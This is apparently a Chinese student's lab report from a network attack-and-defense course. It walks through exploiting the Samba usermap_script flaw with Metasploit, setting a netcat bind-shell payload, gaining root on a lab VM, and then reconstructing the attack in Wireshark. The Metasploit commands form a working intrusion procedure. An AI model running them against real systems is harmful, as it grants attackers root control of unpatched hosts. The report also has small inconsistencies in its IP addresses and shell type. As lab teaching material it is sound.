# 20251916 2025-2026-2 《网络攻防实践》实践7报告
1.实践内容
1.定向渗透任务:使用 Metasploit 渗透测试工具,攻击 Linux 靶机上 Samba 服务的 usermap_script 安全漏洞,一步步完成模块加载、Payload 配置、参数设置和攻击执行,最终拿到目标靶机的远程访问权限,验证获取到的权限等级。
2.攻防对抗任务:同时扮演攻击方和防守方。作为攻击方,我要通过 Metasploit 完成完整的渗透攻击流程,获取靶机的控制权并验证 root 权限;作为防守方,我要用 Wireshark 捕获攻击全程的网络流量,分析还原攻击行为,提取攻击者 IP、目标端口、攻击时间、利用的漏洞、攻击后执行的命令等关键信息,搞清楚攻击的完整链路。
2.实践过程
2.1使用Metasploit进行Linux远程渗透攻击
打开kali,通过命令msfconsole启动Metasploit渗透软件

执行命令search samba寻找与漏洞相关的模块

使用exploit:exploit/multi/samba/usermap_script渗透

使用show payloads可以看到适用于渗透攻击的攻击载荷列表

输入set payload cmd/unix/bind_netcat,表示在渗透攻击成功后执行shell并通过netcat绑定在一个监听端口上

使用show options,列出模块所需的各种参数

使用命令:set RHOST 192.168.77.2 设置靶机IP地址,set LHOST 192.168.77.128 设置攻击机IP地址,通过exploit开始执行攻击

输入ifconfig确认正确地得到shell,执行命令whoami确认获得的权限为root

2.2攻防对抗实践
攻击发起前,打开 Wireshark 软件,选择了攻击机和靶机通信的 eth0 网卡,点击开始捕获按钮,让 Wireshark 实时记录网卡上的所有流量。攻击方重复实验一的步骤,防守方打开wireshark进行监听。
停止抓包后,在 Wireshark 里分析本次攻击的流量,还原攻击的完整过程:攻击机用 42213 端口,和靶机的 4444 端口建立了 TCP 连接,也就是反向 Shell 监听端口。

选中对应的 TCP 会话,右键选择「Follow → TCP Stream」,打开了 TCP 流追踪窗口,完整还原了拿到 Shell 后执行的所有命令和对应的回显,和实际操作的内容完全一致:执行的ifconfig、whoami、pwd、ls命令,还有靶机返回的 root 用户信息、根目录的文件列表、网卡配置信息,都完整呈现在了流量里。


最后整理出本次攻击的完整信息:
攻击者 IP:192.168.7.128,目标靶机 IP:192.168.7.2
攻击使用的端口:靶机 4444 端口(反向 Shell 端口),攻击机通信端口 42213
攻击发起时间:对应 Wireshark 里 TCP 三次握手的数据包时间,也就是执行 run 命令的时间
攻击利用的漏洞:Samba 服务的 usermap_script 远程代码执行漏洞
攻击后执行的操作:成功建立反向 Shell 后,执行了 ifconfig、whoami、pwd、ls 四条命令,获取了靶机的系统信息和权限信息
攻击结果:成功获取靶机的 root 最高权限,完全控制了目标 Linux 主机
3.学习中遇到的问题及解决
- 问题1:最开始执行攻击后,控制台提示攻击完成,但没有创建会话,拿不到 Shell。我反复检查了好几遍,才发现是我把 LHOST 参数填错了。
- 问题1解决方案:用 ifconfig 命令查了攻击机的真实 IP,改成了 192.168.7.128,重新执行攻击,就成功拿到了 Shell。
- 问题2:最开始抓包的时候,Wireshark 里找不到我攻击的流量,也看不到我执行的命令。后来问了同学才发现,我搞反了顺序,是先执行了攻击、拿到 Shell 后才打开的 Wireshark,攻击的核心流量根本没抓到。
- 问题2解决方案:先打开 Wireshark 开始捕获,再去执行攻击,攻击完成后再停止抓包,就成功抓到了完整的攻击流量。
4.实践总结
通过这次实践,我更加深刻理解了 “细节决定攻防成败” 这句话。这次实验里,一个 IP 地址填错、一个操作顺序搞反、一个 Payload 选的不对,都会导致整个攻击失败,抓不到想要的流量。之前我总觉得网络安全是很高大上的技术,现在才明白,再厉害的攻击,也离不开对每一个细节的把控,不管是攻击方还是防守方,细心和严谨都是最基础的要求。
之前我只关心怎么拿到 Shell、怎么攻击成功,这次通过 Wireshark 分析流量,我站在防守方的视角,完整看到了攻击的每一个步骤,也明白了攻击的流量特征是什么样的。原来我执行的每一条命令,都会以明文的形式留在流量里,防守方只要会分析流量,就能完全还原我的攻击行为。这也让我明白,想要做好防守,就必须懂攻击;想要做好攻击,也要懂防守的检测逻辑,二者是分不开的。
同时,我也真切感受到了漏洞的危害有多大。靶机上只是一个 Samba 服务的老旧漏洞,就能让我在几秒钟内拿到靶机的 root 权限,看到靶机里的所有文件,完全控制这台主机。这也让我意识到,在真实的工作里,及时给系统和服务打补丁、修复漏洞、关闭不用的服务,真的是网络安全最基础也最重要的防线,一个没修复的漏洞,就可能让整个系统被完全控制。

浙公网安备 33010602011771号